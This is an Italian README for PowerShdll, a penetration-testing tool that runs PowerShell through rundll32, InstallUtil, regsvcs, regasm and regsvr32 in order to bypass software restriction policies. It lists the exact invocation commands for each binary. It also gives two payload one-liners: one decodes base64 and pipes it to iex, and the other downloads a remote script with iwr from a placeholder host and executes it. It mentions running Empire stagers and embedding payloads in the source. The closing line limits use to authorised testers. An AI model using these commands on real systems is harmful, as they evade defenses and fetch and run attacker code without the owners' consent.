
Esegui PowerShell con rundll32. Bypassa le restrizioni del software.
Esegue PowerShell solo con dll.
Non richiede l'accesso a powershell.exe poiché utilizza le dll di automazione di PowerShell.
PowerShdll può essere eseguito con: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe o come eseguibile autonomo.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
I payload possono essere incorporati modificando la variabile "payload" nel metodo start del file common.cs. Se un payload è incorporato, tutti gli altri argomenti verranno ignorati e il payload verrà eseguito all'avvio di PowerShdll.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Nota: gli stager di Empire devono essere decodificati usando [System.Text.Encoding]::Unicode
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
Alcuni errori non sembrano essere visualizzati nell'output. Può creare confusione, poiché comandi come Import-Module non mostrano alcun errore in caso di fallimento. Assicurati di aver digitato correttamente i comandi.
In modalità dll, la modalità interattiva e l'output dei comandi si basano sull'hijacking della console del processo padre. Se il processo padre non ha una console, usa l'opzione -n per non mostrare l'output, altrimenti l'applicazione si bloccherà.
A causa del modo in cui Rundll32 gestisce gli argomenti, l'uso di più caratteri spazio tra switch e argomenti potrebbe causare problemi. Spazi multipli all'interno degli script sono accettabili.
Questo progetto è destinato a ricercatori di sicurezza e penetration tester e dovrebbe essere utilizzato solo con l'approvazione dei proprietari del sistema.